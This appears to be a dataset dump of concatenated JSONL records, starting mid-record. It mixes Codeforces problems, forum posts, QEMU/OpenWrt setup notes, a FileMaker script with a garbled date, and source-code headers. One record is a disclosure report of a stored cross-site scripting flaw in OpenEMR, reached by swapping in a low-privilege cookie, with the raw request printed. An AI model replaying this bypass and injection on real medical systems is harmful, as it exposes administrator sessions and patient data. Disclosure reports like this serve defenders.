Per Year Study Estimates, Cat Loss Poems And Quotes Quotesgram, Pet Gate With Cat Opening,", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You have a string $$$s$$$ consisting of $$$n$$$ characters. Each character is either 0 or 1.\n\nYou can perform operations on the string. Each operation consists of two steps:\n\n1. select an integer $$$i$$$ from $$$1$$$ to the length of the string $$$s$$$, then delete the character $$$s_i$$$ (the string length gets reduced by $$$1$$$, the indices of characters to the right of the deleted one also get reduced by $$$1$$$);\n2. if the string $$$s$$$ is not empty, delete the maximum length prefix consisting of the same characters (the indices of the remaining characters and the string length get reduced by the length of the deleted prefix).\n\nNote that both steps are mandatory in each operation, and their order cannot be changed.\n\nFor example, if you have a string $$$s =$$$ 111010, the first operation can be one of the following:\n\n1. select $$$i = 1$$$: we'll get 111010 $$$\\rightarrow$$$ 11010 $$$\\rightarrow$$$ 010;\n2. select $$$i = 2$$$: we'll get 111010 $$$\\rightarrow$$$ 11010 $$$\\rightarrow$$$ 010;\n3. select $$$i = 3$$$: we'll get 111010 $$$\\rightarrow$$$ 11010 $$$\\rightarrow$$$ 010;\n4. select $$$i = 4$$$: we'll get 111010 $$$\\rightarrow$$$ 11110 $$$\\rightarrow$$$ 0;\n5. select $$$i = 5$$$: we'll get 111010 $$$\\rightarrow$$$ 11100 $$$\\rightarrow$$$ 00;\n6. select $$$i = 6$$$: we'll get 111010 $$$\\rightarrow$$$ 11101 $$$\\rightarrow$$$ 01.\n\nYou finish performing operations when the string $$$s$$$ becomes empty. What is the maximum number of operations you can perform?", "source": "cpt_codeforces", "language": "en", "token_count": 455, "token_count_with_eod": 456, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Everyone knows how BSNL UL users are forced to pay 100% more for 400 % (UL users get 250 kbps ,while rest get 2 Mbps !!! )slow speed .Yet I remained quite satisfies since my internet usage was quite high being a professional gamer .But recent times have left me throughly frustrated as my connection to Game (Like Counter Strike : S or TF2) hosting servers (even those in india) has become lethargic. The ping (milliseconds taken to send/receive data) to an indian server has raised from 50 to 400 (totally unplayable) . While my friends at metro cities and other ISP user are enjoying lightening fast speeds and lower costs .\nSolution of your complaint\nRemove the bottlenecks!!!!! Speed up the connection,a 256Mbps connection is supposed to be a lot more faster ,and what we are being provided cannot even be reffered to as broadband", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 202, "token_count_with_eod": 203, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hi BW gurus,\nRecently I have installed a Standard cube (0PUR_CO1) and also installed 2 Standard DataSource:- 2LIS_02_HDR, 2LIS_02_ITM.\nAfter I activated it, I right click on the InfoCube and create Transformation, between the Cube and the DataSource.\nNormally it would have auto mapped for us right from the start, However, in this case, the Transformationm, there are none are Auto Mapped.\nIt has a lot of InfoObject, and apart from those obvious ones (e.g. Vendor etc) I can map manually, but there are around 80 other Characteristic and Key Figures which are not mapped automatically.\nIs there are function to Autp Propose Mapping between a Source and Target?\nThanks in advance,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hii devs! I want to reset a player. Not like just teleport them back to the worldspawn and clear their inventory, I want to pretend they join again! Have you got any idea of a packet which handles this serverside? Alternative way: As I think it's pretty unlikely that there's a perfect packet for my need, I want to ask you about an alternative way. Could I maybe despawn all players and spawn them again at the worldspawn(packets!!!!) The general problem is that I've got the player stuck in a way, that only a rejoin can fix it. So I want to pretend a rejoin via packets!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Non-Privilege User Can Created New Rule and Lead to Stored Cross Site Scripting in openemr/openemr\nMar 21st 2022\nStored Cross Site-Scripting (XSS)\n###Authentication Required? Yes\nNon-privilege users (accounting, front-office) can create new rule and allows them to inject arbitrary web script that led to Stored Cross Site Scripting. This vulnerability found in “/interface/super/rules/index.php?action=edit!submit_summary” on one parameter (fid_title). The XSS payload will be fired in the Plan Rules that can only be viewed by privileged users.\nnsure to HTML encode before inserting any untrusted data into HTML element content. Ensure all inputs entered by user should be sanitized and validated before processing and storage. Inputs should be filtered by the application, for example removing special characters such as < and > as well as special words such as script.\nAden Yap Chuen Zhen (email@example.com)\nRizan, Sheikh (firstname.lastname@example.org)\nAli Radzali (email@example.com)\nLogin to EMR using admin and we can see there is a Rules tab in (Administration > Practice > Rules).\nFigure 1: Login as Administrator and Go to Rules tab\nLogin to EMR using non-privilege users (accountant, front-office) and we can see there is no Rules tab in (Administration > Practice).\nFigure 2: Login as Accountant and Check For Rules tab\nUsing Burp, we intercept the Admin request to add new rules in Rules tab and swap the “OpenEMR” cookie using an Accountant cookie and we are be able to create new rule that contain our XSS payload.\nFigure 3: Burp Request Captured Using Accountant Cookie to Create New Rule\nThe Raw Request looks like:\nPOST /openemr/interface/super/rules/index.php?action=edit!submit_summary HTTP/1.1 Host: 192.168.153.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 120 Origin: http://192.168.153.129 Connection: close Referer: http://192.168.153.129/openemr/interface/super/rules/index.php?action=edit!summary Upgrade-Insecure-Requests: 1 Cookie: OpenEMR=zfLGOSTbtLDyoLLIFMlBPUrBWNNlzrYN5y60Z-BItjBhTNw0; id=&fld_title=&fld_developer=&fld_funding_source=&fld_release=&fld_web_reference=\nGo to Rules page (Administration > Practice > Rules) and Click “Go” on Plans Configuration.\nFigure 4: Plans & Rules Configuration Page\nThe XSS will be fired in any Plans configurations. For example, an Admin can select any plans and the cookies of the admin will be pop out in alert box.\nThis has been fixed in 18.104.22.168 .\nHi, Kindly issue a CVE for this vulnerability. Tq\nDear @admin I've already ping the maintainer, could you please follow up on the CVE creation? Tq\nDear @maintainer, could you kindly confirm that CVE can be created for this report? Tq\nAlso note that this fix is also in the recently released 6.1.0 version.\nI consent to creation of CVE.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 833, "token_count_with_eod": 834, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You can install Json.Net into your Visual Studio Project in 1 of 2 ways.\nInstall Json.Net using the Package Manager Console.\n- Open the Package Manager Console window in Visual Studio either by typing package manager console in the Quick Launch box and selecting it\nor by clicking View -> Other Windows -> Package Manager Console.\n- Once the Package Manager Console is visible, select the project within your solution, into which you want to install Json.Net, by selecting it from the Default Project dropdown.\n- Now type the following command and press enter.\n- This will install the latest version of Json.Net. You will see the installation progress in the Package Manager Console. If successful, you will the message that it was successfully installed into your selected Project.\n- Once installed successfully, you will now be able to see the Json.Net Assembly in the references in your selected Project. The name of the Json.Net assembly is\nJson.Net is now ready for use in your project!\nInstall Json.Net using the Visual Studio Solution Explorer.\nYou can also install json.net using the Solution Explorer in Visual Studio.\nRight click the References node in your Project and click Manage Nuget Packages...\nIn the Nuget Package Manager Dialog box, make sure Online is selected in the left pane. Type Json.Net in the search box in the top right. This will display the Json.Net Nuget Package in the search results pane in the middle.\nClick the Install button.\n- You will see the installation progress in the progress window that will pop up.\n- Once the installation is complete, you will see a green check-mark next to the Json.Net package in the Nuget Package Manager dialog box.\n- You will also see the\nNewtonsoft.Json Assembly in the References node in your solution explorer for your selected project.\nThis completes the installation of Json.Net. You are now ready to use it in your project to perform various operations on json data.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 395, "token_count_with_eod": 396, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Limak is a little polar bear. He has n balls, the i-th ball has size ti.\n\nLimak wants to give one ball to each of his three friends. Giving gifts isn't easy — there are two rules Limak must obey to make friends happy:\n\n- No two friends can get balls of the same size.\n- No two friends can get balls of sizes that differ by more than 2.\n\nFor example, Limak can choose balls with sizes 4, 5 and 3, or balls with sizes 90, 91 and 92. But he can't choose balls with sizes 5, 5 and 6 (two friends would get balls of the same size), and he can't choose balls with sizes 30, 31 and 33 (because sizes 30 and 33 differ by more than 2).\n\nYour task is to check whether Limak can choose three balls that satisfy conditions above.", "source": "cpt_codeforces", "language": "en", "token_count": 204, "token_count_with_eod": 205, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "#include \n#include \n\n#if defined(_WIN32)\n #define EXPORT __declspec(dllexport)\n#elif defined(__linux__)\n #define EXPORT __attribute__((visibility(\"default\")))\n#else\n #define EXPORT \n#endif\n\nint length = 0;\nchar hello[] = \"Hello World!\";\nint i;\n\nEXPORT int init(){\n for(i = 0; hello[i] != '\\0'; i++);\n length = i;\n i = 0;\n return 2;\n}\n\nEXPORT void input(char data, int pos){\n\n}\n\nEXPORT char output(int pos){\n char x;\n switch(pos){\n case 0:\n return (char)(length - i);\n break;\n case 1:\n x = hello[i];\n i++;\n return x;\n }\n return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 202, "token_count_with_eod": 203, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "You can send your report in this board, please follow the following format:\n- What is the topic?\n- Which server?\n- When did it happen?\n- What is the Issue exactly?\n- Any media (screenshots, clips, logs, etc.) to show/describe the problem?\n- Steamid.io link when reporting a player. You can get the player's steam id in the in-game chat when they join or leave the game, or by holding tab and opening their steam profile from the scoreboard if the gamemode allows it. (i.e what a steam id looks like: STEAM_0:0:49243633)\nA Discord call could be requested to find a solution to the problem or get a better understanding of the issue.\n- Rules on Reports: -\n🐲 Devil Yami 🐲\nOwner and Founder", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The guru of Services Drafts William Normandin I am an experienced web hosting expert with experience building, repairing, and migrating Linux hosted websites. Hello! I am a highly motivated IT professional working in the web hosting field. I have extensive experience in supporting and designing Linux hosted websites, e-mail, DNS, and etc.In addition, my projects have included Python Gtk application design and deployment (using Github), MSSQL Server CRM application development in VBA, PHP site design and deployment, customer database solutions, and more! Work Terms I am available by skype and phone, but prefer e-mail for the text chain it creates. I do have regular employment but I am flexible and willing to work with client needs.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "specific action log: updateTimerTotalTimeInTagWindow\n#\n#Stop script if user is NOT in the process of picking a specific action group.\nIf [ $$pick = 1 ]\nShow Custom Dialog [ Message: \"Pick a specific-action tag or click the cancel button in the Tag window. After you do this you\ncan re-calculate total time logged under each tag.\"; Buttons: “OK” ]\nExit Script [ ]\nEnd If\n#\nSet Error Capture [ On ]\nAllow User Abort [ Off ]\n#\n#Prevent windows from flashing and script from slowing\nSet Variable [ $$stopRecordLoad; Value:1 ]\n#\nNew Window [ Height: 1; Width: 1; Top: -1000; Left: -1000 ]\n#\n#This duplicate layout has no script triggers or conditional\n#formatting and so speeds up the script steps.\nGo to Layout [ “IssuesLayoutForScripts” (issue) ]\n#\nSet Variable [ $$stopRecordLoad ]\n#\n#First find all the issues in this category.\nEnter Find Mode [ ]\nSet Field [ issue::_keyBrainstate; $$logBrainstate ]\nSet Field [ issue::lock; \"issue\" ]\nPerform Find [ ]\n#\n#\n#Sort them to trigger the calcuation of their\n#total time.\nSort Records [ Specified Sort Order: issue::_keyCategory; ascending ]\n[ Restore; No dialog ]\n#\nGo to Record/Request/Page\n[ First ]\nSet Variable [ $category; Value:issue::_keyCategory ]\nSet Field [ issueCategory::issueTotalTime; GetSummary ( issue::timeSummary ; issue::_keyCategory ) ]\nLoop\nIf [ $category ≠ issue::_keyCategory ]\nSet Field [ issueCategory::issueTotalTime; GetSummary ( issue::timeSummary ; issue::_keyCategory ) ]\nSet Variable [ $category; Value:issue::_keyCategory ]\nEnd If\nGo to Record/Request/Page\n[ Next; Exit after last ]\nEnd Loop\n#\n#\n#\n#\n#Add up total time for all actions with this category tag.\nGo to Layout [ “calcDayTable” (day1) ]\nEnter Find Mode [ ]\nSet Field [ day1::_keyBrainstate; $$logbrainstate ]\nPerform Find [ ]\nGo to Record/Request/Page\n[ First ]\nLoop\nSet Variable [ $totalTime; Value:$time + day1::swTotalActivity ]\nSet Variable [ $time; Value:$totalTime ]\nGo to Record/Request/Page\n[ Next; Exit after last ]\nEnd Loop\n#\nClose Window [ Current Window ]\nSet Field [ brainstate::totalTimeLogged; $totalTime ]\nSort Records [ Specified Sort Order: issue::order; based on value list: “1-99”\ngroup::text; ascending\ncategory::sortTime; ascending\ncategory::text; ascending ]\n[ Restore; No dialog ]\nSet Field [ reference::tagCatSort; \"group\" ]\n#\n#\nJanuary 3, ଘ౮28 20:25:38 ActionLog.fp7 - updateTimerTotalTimeInTagWindow -1-", "source": "cpt_stack_code", "language": "code", "token_count": 692, "token_count_with_eod": 693, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "This directory is part of a hierarchy that contains stable and occasionally BETA releases of libvanessa_socket\nFor more information about Vanessa please visit http://projects.horms.net/projects/vanessa/\nThe primary download site for libvanessa_socket is http://projects.horms.net/projects/vanessa/download/vanessa_socket/\nPackages & Ports:\nlibvanessa_socket is released under the GNU Lesser Public\nLicence and sample code is released under the GNU General Public Licence.\nCopyright is maintained by the authors, Simon Horman et al.\n(c) 1999-2015 Simon Horman\nDebian is a registered trademark of Software in the Public Interest, Inc.\nUbuntu is a registered trademarks of Canonical Ltd.\nopenSUSE is a trademarks of Novell, Inc. in the United States and other countries.\nThe mark FreeBSD is a registered trademark of The FreeBSD Foundation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Game Development Meta\nto customize your list.\nmore stack exchange communities\nReputation and Badges\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nLearn more about Stack Overflow the company\nLearn more about hiring developers or posting ads with us\ntag has no usage guidance.\nSDL2 SDL_PollEvent endless polling on key hold\nWhat is wrong with SDL2 SDL_PollEvent() function? When I press-and-hold a key it enters \"while (SDL_PollEvent())\" block each frame. If in previous frame event queue was emptied and in new frame I ...\nMay 5 at 20:32\nrecently active polling questions feed\nunanswered question tagged\nHot Network Questions\nAre deleted WhatsApp messages still recoverable even after deleting a contact\nNew company doesn't allow 401k deposits for 6 months, what to do with money I used to deposit?\nDid JKR make some kind of an inside joke about Moaning Myrtle's death?\nWill it damage my MacBook if I put it in the fridge to cool it down?\nIs it ethical to use a recommendation letter from a deceased professor?\nHow to reconcile a feudal system with a congressional/parliamentary democracy...?\nDo they really need to fear the White Walkers?\nWhat if a boss requires supervision?\nTo donate something you want to throw away\nHow do I wipe an encrypted USB flash drive?\nA game of words and numbers with no 0's\nIs a cardboard box allowed as carry-on luggage?\nIs it easier to get to and from the moon than to the bottom of the Mariana Trench?\nHow do I prevent a character from being resurrected?\nWhy were women targeted as witches?\nPower sums of p-th roots of unity\nWould biological brain in a box considerably increase life expectancy?\nKnight on the Rim is Grim\nRecursion bracketed; or Dyck words generation\nCan I profit from anticipating a drop in value?\nWhy did he keep the truth from his wife?\nIs it better to return an ImmutableMap or a Map?\nDoes the Dory-like fish actually have a short-term memory loss?\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nMovies & TV\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2016 Stack Exchange Inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 581, "token_count_with_eod": 582, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Knowing the unknown - Discover your organization’s attack surface using Suricata data\nBuilding a vision of an information system is critical in a lot of situations like a MSSP working with a new customer or an incident response case. It is important to know the unknown. Without a clear understanding, decisions about priority and responses will be wrong. This training will introduce a methodology using passive network data monitoring to fix that situation using data that is commonly captured but often disregarded.\nNetwork Security Monitoring data generated by Suricata can be used to build a representation of the internal attack surface within a company network. Inventory tools are often used to determine things such as the list of services on the network but this is a declarative approach and it can not be considered as the ultimate truth. In the case of a large organization, the difference between what is declared in the inventory and the actual reality can differ significantly.\nTraditional approaches to complement inventory rely on scanning the network to find services. Although useful, this scan will not provide information about the usage of these systems and services. And it will not instantly detect updates to the information systems such as a new service being set up and used.\nIn this training, we will show how you can use data collected passively from Suricata sensors to build the attack surface of an organization and track its changes.\nThe training will consist of hands-on exercises where the trainee will analyze PCAP files with Suricata and build searches and dashboards using Kibana and Splunk as well as JQ for fast command line based results and Jupyter notebook for an algorithmic approach.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 321, "token_count_with_eod": 322, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The Greatest Secret Ever consists of n words, indexed by positive integers from 1 to n. The secret needs dividing between k Keepers (let's index them by positive integers from 1 to k), the i-th Keeper gets a non-empty set of words with numbers from the set Ui = (ui, 1, ui, 2, ..., ui, |Ui|). Here and below we'll presuppose that the set elements are written in the increasing order.\n\nWe'll say that the secret is safe if the following conditions are hold:\n\n- for any two indexes i, j (1 ≤ i < j ≤ k) the intersection of sets Ui and Uj is an empty set;\n- the union of sets U1, U2, ..., Uk is set (1, 2, ..., n);\n- in each set Ui, its elements ui, 1, ui, 2, ..., ui, |Ui| do not form an arithmetic progression (in particular, |Ui| ≥ 3 should hold).\n\nLet us remind you that the elements of set (u1, u2, ..., us) form an arithmetic progression if there is such number d, that for all i (1 ≤ i < s) fulfills ui + d = ui + 1. For example, the elements of sets (5), (1, 10) and (1, 5, 9) form arithmetic progressions and the elements of sets (1, 2, 4) and (3, 6, 8) don't.\n\nYour task is to find any partition of the set of words into subsets U1, U2, ..., Uk so that the secret is safe. Otherwise indicate that there's no such partition.", "source": "cpt_codeforces", "language": "en", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "You are given a positive integer $$$n$$$, written without leading zeroes (for example, the number 04 is incorrect).\n\nIn one operation you can delete any digit of the given integer so that the result remains a positive integer without leading zeros.\n\nDetermine the minimum number of operations that you need to consistently apply to the given integer $$$n$$$ to make from it the square of some positive integer or report that it is impossible.\n\nAn integer $$$x$$$ is the square of some positive integer if and only if $$$x=y^2$$$ for some positive integer $$$y$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 120, "token_count_with_eod": 121, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Ksusha is a vigorous mathematician. She is keen on absolutely incredible mathematical riddles.\n\nToday Ksusha came across a convex polygon of non-zero area. She is now wondering: if she chooses a pair of distinct points uniformly among all integer points (points with integer coordinates) inside or on the border of the polygon and then draws a square with two opposite vertices lying in the chosen points, what will the expectation of this square's area be?\n\nA pair of distinct points is chosen uniformly among all pairs of distinct points, located inside or on the border of the polygon. Pairs of points p, q (p ≠ q) and q, p are considered the same.\n\nHelp Ksusha! Count the required expectation.", "source": "cpt_codeforces", "language": "en", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "QEMU is an an open source processor emulator (and virtualizer). This document descripes howto run the OpenWrt x86 port in QEMU.\nIt is mixed descriptions from windows and linux, so please read through all of it before starting.\nChoosing different emulation settings can affect performance greatly.\nExample: 30s iperf-s@openwrt(qemu running on host) to host\nne2k_pci:0.0-31.3 sec 14.6 MBytes 3.92 Mbits/sec pcnet: 0.0-30.0 sec 2.38 GBytes 682 Mbits/sec e1000: 0.0-30.0 sec 6.23 GBytes 1.79 Gbits/sec vmxnet3: 0.0-30.0 sec 8.67 GBytes 2.48 Gbits/sec virtio-net-pci: 0.0-30.0 sec 44.6 GBytes 12.8 Gbits/sec\nQemu runs on many different systems.\nMany Linux Distributions like Debian, Ubuntu, Suse, Fedora provide a qemu package in their package repositories.\nExample for Debian 7 (Wheezy):\nsudo apt-get install qemu\nQemu is rapidly developing so features, syntax might change between versions.\nThe QEMU Wiki Links page provides you with several unoffical download links of Windows builds.\nCommand line to get it booting (without a storage device):\nqemu-system-arm -M realview-eb-mpcore -kernel openwrt-realview-vmlinux-initramfs.elf -net nic -net user -nographic\nBasically, use the generated initramfs image as the\nThis target does not support booting from hard disk (\n-hda or other syntax); emulation of the PCI bus is missing (source). However, realview does support SD card image files (\n-sd filename.img); see below.\n(Note: The SD card image generation is in OpenWRT SVN r46924 on newer; it will be part of the Designated Driver release.)\nDownload a nightly kernel and SD-card image from https://downloads.openwrt.org/snapshots/trunk/realview/generic/ - download both\nopenwrt-realview-sdcard.img. Alternatively, you can build your own by choosing the\nrealview target in\nmake menuconfig and then start the build with\nmake world (look for the generated files under\nThen start QEMU with the following command:\nqemu-system-arm -M realview-pbx-a9 -m 1024M -nographic \\ -kernel openwrt-realview-vmlinux.elf \\ -sd openwrt-realview-sdcard.img \\ -append \"console=ttyAMA0 verbose debug root=/dev/mmcblk0p1\"\n-sd rootfs.ext4 \\ -append \"root=/dev/mmcblk0\"\nat least qemu 2.0 required\nslightly modified from target/linx/arm64/README:\nqemu-system-aarch64 -machine virt -cpu cortex-a57 -machine type=virt -nographic \\ -smp 1 -m 2048 \\ -kernel bin/arm64/openwrt-arm64-qemu-virt-initramfs.Image \\ --append \"console=ttyAMA0\"\nUse QEMU >= 2.2 (earlier versions can have bugs with MIPS16) ticket 16881 - Ubuntu 14.03.x LTS uses qemu 2.0 which is has this bug.\nThe \"malta\" platform is meant for use with QEMU for emulating a MIPS system.\nmalta target supports both big and little-endian variants, pick the matching files and qemu version (\nqemu-system-mipsel -kernel openwrt-malta-le-vmlinux-initramfs.elf -nographic -m 256\nIn recent enough versions one can enable ext4 root filesystem image building, and since r46269 ( only in trunk, it's not part of the 15.05 CC release) it's possible to boot straight from that image (without an initramfs):\nqemu-system-mipsel -M malta \\ -hda openwrt-malta-le-root.ext4 \\ -kernel openwrt-malta-le-vmlinux.elf \\ -nographic -append \"root=/dev/sda console=ttyS0\"\nThe x86-64 target has support for ESXI images by default. Booting the VMDK / VDI images might not work with newer qemu versions.\nIMG/VDI/VMDK with \"-hda\" switch do not work with qemu 2.x .\npc-q35-2.0 / q35 emulates a different machine. With new syntax (no -hda , -net) the IMG / VDI / VMDK works here.\nSome emulated network cards might have performance issues.\nqemu-system-x86_64 \\ -enable-kvm \\ -M pc-q35-2.0 \\ -drive file=openwrt-x86_64-combined-ext4.vdi,id=d0,if=none \\ -device ide-hd,drive=d0,bus=ide.0 \\ -drive file=data.qcow2,id=d1,if=none \\ -device ide-hd,drive=d1,bus=ide.1 \\ -soundhw ac97 \\ -netdev bridge,br=virbr0,id=hn0 \\ -device e1000,netdev=hn0,id=nic1 \\ -netdev user,id=hn1 \\ -device e1000,netdev=hn1,id=nic2 qemu-system-x86_64 -M q35 -drive file=openwrt-x86_64-combined-ext4.img,id=d0,if=none,bus=0,unit=0 -device ide-hd,drive=d0,bus=ide.0\nNormally openwrt works on most of the hardware mentioned in the table of hardware\n(search in this wiki), and also on most o0f the hardware that support intel x86 ISA or\ngog.is/site:wiki.openwrt.org x86 in the address bar.\nAnyway some embedded x86 board have particular hardware that is not always well supported\nby the openwrt platform, even if all the\nkmod packages are included in the basic image.\nOne of this x86 compatible hardware family are systems based on intel atom and chipset\nich8m (maybe also others), like the Lex twitter system 3I525U.\nOn that system openwrt is able to run but, for example, is not able to\nmanage really well the possibility of having two wan connections with\ndifferent metric. The request will be always routed to the interface with\nhigher metric also using\nping -I 188.8.131.52. Moreover software\nNmap will fail to be bind to certain interfaces.\nSomeone with more knowledge could explain why this happens but as workaround\none can use a more complete linux system (for example debian) as base and then virtualize\ngog.is/site:wiki.openwrt.org virtualization OR qemu OR kvm OR hypervisor in the address bar)\nopenwrt, that in the end requires really a little resources most of the time,\nor one can assign plenty of resources because at the end the base system is quite powerful.\nDebian was installed on a 2Gb cf card through a usb stick and netinstaller, having only the basic system utilities and ssh utilities. 1.1Gb of space were used, 600mb free and the rest swap.\nInstall the following packages:\napt-get install qemu-kvm bridge-utils libvirt-bin virtinst\nThen, if you don't want to use any user but just work with root (the objective is: let run openwrt on the twitter system, not having a well setup debian system):\nThen we have to prepare the network. Modify\n/etc/network/interfaces a follows (adapt according to your needs)\nauto br0 br1 br2 br3 iface br0 inet dhcp bridge_ports eth0 iface br1 inet dhcp bridge_ports eth1 iface br2 inet dhcp bridge_ports eth2 iface br3 inet dhcp bridge_ports eth3\nThe bridges ( https://wiki.debian.org/BridgeNetworkConnections ) are helpful because they allows different network adapters, real or virtual ( network.interfaces to exchange data (as the word 'bridge' suggests) and not only, because the bridge will have a certain mac address but also the virtual interfaces attached to it can have different mac addresses. Here the marvels of the linux networking system have to be explained by someone with more knowledge.\nThen we need to create our virtual machine. The additional packages, apart from\nqemu, will help here. We can issue the following command, using the x86 generic image\nplaced in the folder\nvirt-install --name=openwrt --ram=256 --vcpus=1 --os-type=linux --disk path=/root/openwrt_kvm/openwrt-x86-generic-combined-ext4.img,bus=ide --network bridge=br0,model=e1000 --import # be careful to the model, e1000 let's openwrt recognize the interface. # http://manpages.ubuntu.com/manpages/lucid/man1/virt-install.1.html\nIf you want to interact with the system from command line, use\nFor example to force the shutdown of a virtual machine\nvirsh destroy openwrt\nor to delete the virtual machine (but not the disk file)\nvirsh undefine openwrt.\nFor having multiple interfaces\nvirt-install --name=openwrt --ram=256 --vcpus=1 --os-type=linux --disk path=/root/openwrt_kvm/openwrt-x86-generic-combined-ext4.img,bus=ide \\ --network bridge=br0,model=e1000 --network bridge=br3,model=e1000 --importRemember that the console requires\nctrl+5to exit (german keyboard).\nTo mark a virtual machine for the autostart, type:\nvirsh autostart openwrt.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2233, "token_count_with_eod": 2234, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Sync Problems = Router Problems?\ni have real difficults to get my zipabox working right.\nsomehow the webinterface and the cloud and the sensors do not communicate right.\na) not all data is transmitted when I sync (f.e. keys tags: I had to do it 10 times to get 4 key tags included)\nb) data gets lost when i sync again after including a new sensor\nmaybe the problem is with the router (?) / firewall?\n(details: I live in the NL, internet by ziggo, router: Technicolor TC7210)\nCan you help me?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Vasya wants to buy a new refrigerator. He believes that a refrigerator should be a rectangular parallelepiped with integer edge lengths. Vasya calculated that for daily use he will need a refrigerator with volume of at least V. Moreover, Vasya is a minimalist by nature, so the volume should be no more than V, either — why take up extra space in the apartment? Having made up his mind about the volume of the refrigerator, Vasya faced a new challenge — for a fixed volume of V the refrigerator must have the minimum surface area so that it is easier to clean.\n\nThe volume and the surface area of a refrigerator with edges a, b, c are equal to V = abc and S = 2(ab + bc + ca), correspondingly.\n\nGiven the volume V, help Vasya find the integer lengths for the refrigerator's edges a, b, c so that the refrigerator's volume equals V and its surface area S is minimized.", "source": "cpt_codeforces", "language": "en", "token_count": 198, "token_count_with_eod": 199, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Facetook is a well known social network website, and it will launch a new feature called Facetook Priority Wall. This feature will sort all posts from your friends according to the priority factor (it will be described).\n\nThis priority factor will be affected by three types of actions:\n\n- 1. \"X posted on Y's wall\" (15 points),\n- 2. \"X commented on Y's post\" (10 points),\n- 3. \"X likes Y's post\" (5 points).\n\nX and Y will be two distinct names. And each action will increase the priority factor between X and Y (and vice versa) by the above value of points (the priority factor between X and Y is the same as the priority factor between Y and X).\n\nYou will be given n actions with the above format (without the action number and the number of points), and you have to print all the distinct names in these actions sorted according to the priority factor with you.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "/*****************************************************************************\n\nCopyright (c) 1995, 2020, Oracle and/or its affiliates.\n\nThis program is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License, version 2.0, as published by the\nFree Software Foundation.\n\nThis program is also distributed with certain software (including but not\nlimited to OpenSSL) that is licensed under separate terms, as designated in a\nparticular file or component or in included license documentation. The authors\nof MySQL hereby grant you an additional permission to link the program and\nyour derivative works with the separately licensed software that they have\nincluded with MySQL.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0,\nfor more details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program; if not, write to the Free Software Foundation, Inc.,\n51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n*****************************************************************************/\n\n/** @file include/srv0start.h\n Starts the Innobase database server\n\n Created 10/10/1995 Heikki Tuuri\n *******************************************************/\n\n#ifndef srv0start_h\n#define srv0start_h\n\n#include \"log0types.h\"\n#include \"os0thread-create.h\"\n#ifndef UNIV_HOTBACKUP\n#include \"sync0rw.h\"\n#endif /* !UNIV_HOTBACKUP */\n#include \"trx0purge.h\"\n#include \"univ.i\"\n#include \"ut0byte.h\"\n\n// Forward declaration\nstruct dict_table_t;\n\n#ifndef UNIV_DEBUG\n#define RECOVERY_CRASH(x) \\\n do { \\\n } while (0)\n#else\n#define RECOVERY_CRASH(x) \\\n do { \\\n if (srv_force_recovery_crash == x) { \\\n flush_error_log_messages(); \\\n fprintf(stderr, 